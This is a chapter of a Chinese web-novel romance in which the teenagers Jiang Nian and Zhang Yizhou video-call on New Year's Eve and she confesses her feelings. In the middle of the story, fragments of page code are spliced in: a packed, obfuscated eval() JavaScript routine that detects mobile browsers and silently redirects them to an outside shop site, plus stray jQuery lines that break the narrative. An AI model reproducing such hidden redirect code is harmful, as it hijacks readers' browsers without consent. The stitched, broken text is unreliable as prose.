寒假很快来临，高二需要补课一周。而江念因为年后要比赛，也需要抓紧时间练习，同时还要配合祝炎的时间，只能将练习都放在了年前。不管怎么挤时间，真正空闲下来已经是年根底下了。


    抢了几天机票，年前几天实在抢不到，最后只抢了初三的。


    江念满脸沮丧，看着手机那端的江连庭，都快哭了。


    江连庭倒是无所谓，看着她眉眼都挂着笑，“傻孩子，过年也不过是365天中的一天罢了，不管你哪天回来，只要你回来，老爸就过年了。”


    江念眼尾红着，但忍不住想笑，“可是我想陪着你，你一个人过年……”


    “怎么一个人了，”江连庭故作生气的鼓起眼，“一会儿你师兄就过来接我去他家过年。”


    江念不满的皱皱鼻子，“去别人家过年算怎么回事——”


    她话音都还没落下，沈柏年的声音插了进来，“怎么，我是别人啊。”伴着话音，沈柏年的脸也出现在屏幕里，“去帝都待了一年，就不认我们了？”


    “沈柏年！”江念冲他瘪嘴，“你少胡说了。”


    沈柏年笑了，“不错，精神挺好，骂人也有气势了，师兄都不叫了。”


    “师兄，”江念乖巧的叫一声，随即笑弯了眼，“新年快乐，我的红包呢？”


    “在这儿等着我呢？放心，准备好了，回来给我拜了年才有。”


    “爸！你看你的学生！怎么教的！”


    两人斗起嘴来，江连庭怕火烧到他，赶紧把手机给沈柏年，“柏年，你陪念念聊会儿，我去准备点东西，一会儿去你家。”


    沈柏年拿着手机，回头冲他喊，“老师，东西别拿了，家里什么都有。”


    江连庭的声音从侧卧传来，“那不行，哪有大过年空手上门的……”


    “师兄，”江念认真起来，“谢谢你帮我照顾我爸。”


    “这不是我老师么？再说了，老师也不需要照顾，他很好，你别瞎操心。”


    江念想着江连庭大过年的自己一个人，又想要瘪嘴，“我好想他，”顿了下，又嘴甜的补充，“也想你们。”


    沈柏年笑道：“初三不就回来了么？”


    “也待不了几天。”


    “念念，”沈柏年难得正色，“你长大了，总得有自己的生活和世界，为自己的未来奔忙，老师能理解的。


    “而且他看见你为自己的未来努力，特别高兴，他现在只怕自己绊住你，所以别多想，努力做你想做的事，他会为你高兴和骄傲的。


    “你上次发给他的那个汇演视频，你不知道老师看的时候有多高兴，眼泪都出来了，现在还每天看，一有时间就边摆弄他的花边循环播放。”


    江念忍不住想着江连庭在阳台坐在小马扎上，边捣鼓他的花边循环播放她演出视频的场景，眼眶一下就酸了起来，“我想回家。”


    “大后天不就回了么？乖点，开开心心的，替我给师娘拜个年。”


    沈柏年怕她越说越想家，真憋不住哭起来，干脆挂了视频。


    北方的冬季与南方不一样，目之所及都是光秃秃的枝丫。大年三十，即便街头张灯结彩，但这个城市太大太空，依然显得冷清萧索，没有太多年味。


    蒋清妍大概怕她第一次在外过年觉得孤单，一整天都待在公寓里，跟张姨一起忙里忙外。


    几天前两人就贴上了对联窗花，又挂了些彩灯装饰。


    等夜幕降临，蒋清妍关了照明灯，打开彩灯，又俗又艳的彩色灯光交织，倒真有些喜庆和热闹的氛围。


    一共仨人，有俩都是南方人，也就没随了北方的习俗吃饺子，反而煮了热气腾腾的火锅。


    锅里红油翻滚，浓白的烟袅袅盘旋，三人举杯一起庆祝，“新年快乐！”


    蒋清妍有些激动，举着杯子没有放下，“新的一年，希望我的念念有一个全新的开始，永远开心快乐。”


    还有很多话，蒋清妍不知道该怎么说，她希望她的念念从今天开始，从新的一年开始，可以彻底摆脱曾经的痛苦和黑暗，拥有幸福快乐的人生。


    这一年，江念变得越来越开朗，甚至开始重拾儿时梦想，再度登台演奏。


    她看得见希望，所有事情都在一点点好转。


    蒋清妍有些感慨，喝了一口啤酒，“今年真的是幸运的一年，你进了一中之后，好像一切都在好转，甚至开年就要去参加比赛了。以前我连想都不敢想。”她扯唇笑了笑，“可能帝都的风水旺我们念念。”


    江念垂眸，默默喝了口牛奶，没有说话。


    帝都的风水旺不旺她，她不知道，但她知道一点，自从再次遇到张亦舟后，她就有了一往无前的勇气。她想要变得更好，好到足够与他匹配。


    而张亦舟，似乎也在推着她一点点前行。没有张亦舟的陪伴，她可能永远都不会再登上舞台。


    想起张亦舟，江念就有些心不在焉，人窝在沙发里，思绪早飘到了十万八千里外。


    “念念？”


    “啊？”江念回过神，看向一边的蒋清妍，“怎么了？”


    蒋清妍摘下脸上的面膜丢垃圾桶里，“怎么心不在焉的，是不是困了？先去睡吧。”


    江念执拗的摇摇头，“我要守年，还要第一个给爸爸发新年祝福。”说完，又立刻过去抱住蒋清妍的胳膊，“第一个跟妈妈说新年祝福。”


    蒋清妍笑着捏一把她的脸，两人只开了盏夜灯，依偎在沙发上看春晚。


    《难忘今宵》的旋律响起，离十二点只剩一分钟。江念迅速编辑好两条祝福在对话框里——


    一条给江连庭，一条给张亦舟。


    编辑好，又想到沈柏年、唐喻、蔡浅浅、徐钊、祝炎……


    江念有些感慨，这一年她很幸福，认识了很多很多温暖的人。


    她正发呆，蒋清妍拍了拍她，“念念，倒数了。”


    没有倒数活动，她点开江连庭的对话框，在心里默数“三、二、一”然后点击发送，接着快速退出，点开张亦舟的对话框，点击发送。


    很简单的一句话：【张亦舟，新年快乐。】


    不知道能不能抢到第一条祝福，他人气那么高，收到的新年祝福肯定不少，也不知道看不看得见她的。


    江念也只纠结片刻，立刻开始给其他人发新年祝福，每个人的祝福都是一字一句用心编辑的。对她来说，不仅仅是张亦舟，这一年遇到的每个人她都很珍惜，都很感激。


    她正编辑着消息，手机里突然跳出了视频邀请，是备注为“Z”的人。


    江念心一跳，一下屏住了呼吸，动都不敢动，生怕被边上的蒋清妍发现什么。


    手机响了片刻，蒋清妍疑惑道：“谁啊？”


    “我、我同学。”


    “小鱼？”


    江念点点头，虚张声势的喊了声：“对。”


    蒋清妍揉揉耳朵，笑了，“赶紧接，别让小鱼等急了。”


    “好。”


    江念应一声，双脚从沙发上放下来，慌张的在地上寻找鞋子，拖鞋都还没穿好，就急急忙忙往房间跑了。


    她进了屋，小声关了门，还是觉得不够安全，干脆跑到了阳台上，将落地窗也关严实了，这才接通视频。


    张亦舟的脸刚出现，她就冲着他明晃晃的笑了起来，“张亦舟，新年快乐！”


    对上她的笑，张亦舟心头蓦地一暖，刚才那点低沉的情绪瞬间消散，忍不住跟着牵起唇角，“新年快乐。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836886|187867||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “你也要叫我的名字呀。”


    “好，”他盯着她看，眼底全是温柔的宠溺，“江念，新年快乐。”


    “我是不是第一个给你送祝福的？”


    张亦舟不记得她是第几个了，手机一直在响，但他只看得见她的。


    “嗯，是的。”


    江念笑得更甜了，黑润的眼里璀璨生辉，“那你高兴吗？”


    张亦舟也不明白，好像不管江念说什么，他都愿意顺从。“高兴。”


    “我也很高兴。”


    屋外有些冷，江念缩了缩脖子，将半张脸藏在了羽绒服的大毛领里，衬得一张脸越发软嫩小巧。她鼻尖被冻得有些发红，整个人却洋溢着明媚的笑，像冬日里的暖阳。


    张亦舟伸手隔着屏幕触了触她的脸颊，随即回过神，有些不自在的轻咳了声，“这么冷，在外面做什么？”


    江念偷着笑，眼都要眯成了线，“我妈在家，我怕她发现。”


    张亦舟脑子里不受控制的出现一些不健康的东西，他舔了舔唇瓣，声音有些哑，“怕她发现什么？发现你偷偷藏了人，在做见不得人的事？”


    江念面上一烫，垂了眼不看他，“张亦舟，你好好说话！难道你不怕你爸妈发现么？”


    怕爸妈发现？


    张亦舟没说话，视线穿过玻璃门，落向装饰豪华却空荡的别墅，哪有什么爸妈，根本没人在乎他在做什么。


    从他有记忆以来，那两人似乎就没在家里过过年。他父亲周旋在各个女人之间，他的母亲不是去捉奸，就是像祥林嫂一般，跟所有熟识的人述说他的罪行。他们的春节是一场大戏，只是忘了带上他。


    每年的春节，都是他自己孤零零在家，帮佣做了满桌的菜，他却什么也吃不下。帮佣也要回家过年，等人都走了，他会打开电视，独自缩在沙发上看着电视里的合家团聚。


    他总是把声音开得很大，整个别墅都是欢声笑语，然后想象自己也是那里面的一员。


    他靠着这种可笑又可悲的幻想，度过了一年又一年春节，直到后面母亲去世，就再也没有期待，也不会觉得难过了。


    江念等了片刻，没听到他说话，抬起眼来，见对面的人半阖着眼，不知在想什么，神情看起来格外落寞。


    “张亦舟？”


    “啊，”张亦舟抬眼，“不怕，我爸妈都不在。”


    “都不在，只有你自己么……”


    江念定定看着对面的人。他也在外面阳台上，有些懒散的往护栏上靠着，背对着外面漆黑的城市，看着格外的孤单。他人偏瘦，肩很宽，显得衣服空荡荡，站在无人的阳台上，有种难以言喻的寂寞感。


    江念的心像被谁揪了一下似的，有些受不了的抽了抽鼻子。


    张亦舟扯扯唇，眼角挂上了笑，“别哭嗷，大过年的哭鼻子，明年得哭一年。”


    看他故作满不在乎的模样，江念心里越发难受，又抽了一下鼻子，“可是你自己过年。”


    “又不是什么大不了的事，”张亦舟眼神闪了闪，随即又吊儿郎当的笑了，“早习惯了，一个人更清净，没那么多事……”


    “张亦舟！”江念有些受不了的打断他，“以后我可以陪你过年的！”


    “嗯？”


    张亦舟怔怔看着她。


    陪他过年，她知不知道这意味着什么？


    他漆黑的眸子紧盯着她，“你知不知道自己在说什么？”


    小姑娘认真的回望他，眼底有水光闪烁，“知道的，我以后陪你过年，我们一起吃饺子，放烟花，交换新年礼物，看春晚……”


    张亦舟无奈的笑一声，“我不是这个意思。”


    “我知道你什么意思，张亦舟，我喜欢你。”